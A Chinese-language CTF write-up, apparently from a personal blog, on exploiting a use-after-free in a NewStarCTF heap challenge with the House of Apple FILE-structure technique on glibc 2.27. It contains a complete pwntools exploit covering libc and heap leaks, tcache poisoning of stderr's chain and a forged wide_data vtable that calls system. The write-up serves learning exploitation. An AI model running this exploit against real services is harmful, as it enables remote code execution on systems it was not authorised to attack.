House-of-Apple

题目背景

以NewStarCTF里的一道题作为例子巩固House of Apple手法的学习

虽然是2.27的glibc,但是House of Apple手法可以通杀

漏洞点分析

首先IDA逆向,看到是一个明显的菜单程序,有add,show,delete和edit4个功能:


基本确定是一个堆题,因此checksec其实也可以不用看了,八成是保护全开

接下来分析漏洞点,这题漏洞点还是非常明显的,release函数里释放后并未将指针置空:


同时在change和show函数里也没有对已释放堆块的检查,如图:



这就给了我们对已释放堆块任意读写的能力

漏洞点利用

首先无论哪种利用方式,都需要想办法泄露libc;

堆中泄露libc基本只能对unsorted bin下手,依靠 unsorted bin尾节点的fd指向main_arena+88(或96) 这一点来泄露一个和libc固定偏移的地址

具体方式就是先malloc一个超大堆块然后释放,再对该堆块进行读取即可,如下:

1
2
3
4
5
6
#泄露libc
Add(0,1280,"AAAAAA")
Add(1,16,"12345678") #别被top chunk吃了
Delete(0)
libcReal=u64(Show(0,8).ljust(8,b'\x00'))
libcBase=libcReal-0x3ebca0

注意在释放前随便申请一个堆块,防止释放后的大块被top chunk吃掉

之后需要泄露堆地址,因为我们要把伪造的FILE等布置到堆块上;

和泄露libc类似,对一个释放后堆块进行读取即可:

1
2
3
4
5
6
7
8
Add(2,16,"87654321")
Add(3,224,"1234") #FILE结构体
Add(4,312,"5678") #wide_data结构体
Add(5,168,"ABCD") #wide_data的vtable
Delete(2)
Delete(1)
# 泄露堆地址
heapReal=u64(Show(1,8).ljust(8,b'\x00'))

接着想办法修改_IO_list_all或者stderr、stdout、stdin某一个的_chain即可

这里选择修改stderr的_chain字段,具体借助一次UAF改掉next指针实现任意地址分配(注意16字节对齐,分配到_chain前面):

1
2
3
IO_2_1_stderr=libcBase+libc.symbols["_IO_2_1_stderr_"]
stderr_chain=IO_2_1_stderr+0x68
Edit(1,p64(stderr_chain-0x8))

最后是按照模板构造FILE、wide_data、wide_data_vtable即可,然后写入3号块,然后把3号块地址写入之前分配的stderr-0x8,最后退出触发exit:

1
2
3
4
5
6
7
Add(6,16,"AAA")
Add(7,16,p64(0)+p64(fakeFILEAddr))

fakeFILE=MakeFakeFILE(libcBase,libc,wide_data,wide_data_vtable)
Edit(3,fakeFILE)
io.sendlineafter("input your choice >>> ",'5')
io.interactive()

最后完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
targetELF="./pwn"
libc=ELF("/home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
context.terminal=["tmux","splitw","-h"]

# io=process(targetELF)
io=remote("39.106.48.123",30317)
# io=gdb.debug(targetELF,"set debug-file-directory /home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/.debug \n b *$rebase(0xb18)")

def Add(idx_,size_,content_):
io.sendlineafter("input your choice >>> ",'1')
io.sendlineafter("input index: ",str(idx_))
io.sendlineafter("input size: ",str(size_))
io.sendafter("input your note: ",content_)

def Delete(idx_):
io.sendlineafter("input your choice >>> ",'4')
io.sendlineafter("input index: ",str(idx_))

def Edit(idx_,content_):
io.sendlineafter("input your choice >>> ",'2')
io.sendlineafter("input index: ",str(idx_))
io.sendafter("input your new note: ",content_)

def Show(idx_,size_):
io.sendlineafter("input your choice >>> ",'3')
io.sendlineafter("input index: ",str(idx_))
io.recvuntil("now, show the note: ")
content_=io.recv(size_)
return content_

def MakeFakeFILE(libcBase_,libc_,wide_data_,wide_data_vtable_):
#伪造vtable,+0x68位置是劫持的doallocate,变为system
Edit(5,b'\x00'*0x68+p64(libcBase_+libc_.symbols["system"])+b'\x00'*0x38)
#伪造wide_data,+0xe0位置是刚才的vtable
Edit(4,b'\x00'*0x18+p64(0)+b'\x00'*0x10+p64(0)+b'\x00'*0xf8+p64(wide_data_vtable_))

#伪造FILE
IO_FILE_plus=FileStructure()
IO_FILE_plus.flags=0x68732020
IO_FILE_plus._IO_write_ptr=1
IO_FILE_plus._wide_data=wide_data_
IO_FILE_plus.vtable=libcBase_+libc_.symbols["_IO_file_jumps"]-0x540 #劫持到wfile_jumps
return bytes(IO_FILE_plus)

#泄露libc
Add(0,1280,"AAAAAA")
Add(1,16,"12345678")
Delete(0)
libcReal=u64(Show(0,8).ljust(8,b'\x00'))
libcBase=libcReal-0x3ebca0

Add(2,16,"87654321")
Add(3,224,"1234") #FILE结构体
Add(4,312,"5678") #wide_data结构体
Add(5,168,"ABCD") #wide_data的vtable
Delete(2)
Delete(1)
# 泄露堆地址
heapReal=u64(Show(1,8).ljust(8,b'\x00'))

fakeFILEAddr=heapReal+0x20
wide_data=fakeFILEAddr+240
wide_data_vtable=wide_data+0x140

IO_2_1_stderr=libcBase+libc.symbols["_IO_2_1_stderr_"]
stderr_chain=IO_2_1_stderr+0x68
Edit(1,p64(stderr_chain-0x8))

Add(6,16,"AAA")
Add(7,16,p64(0)+p64(fakeFILEAddr))

fakeFILE=MakeFakeFILE(libcBase,libc,wide_data,wide_data_vtable)
Edit(3,fakeFILE)

io.sendlineafter("input your choice >>> ",'5')
io.interactive()

House-of-Apple
http://0x4a-210.github.io/2025/11/08/pwn刷题记录/堆和IO/House-of-Apple/
Posted on
November 8, 2025
Licensed under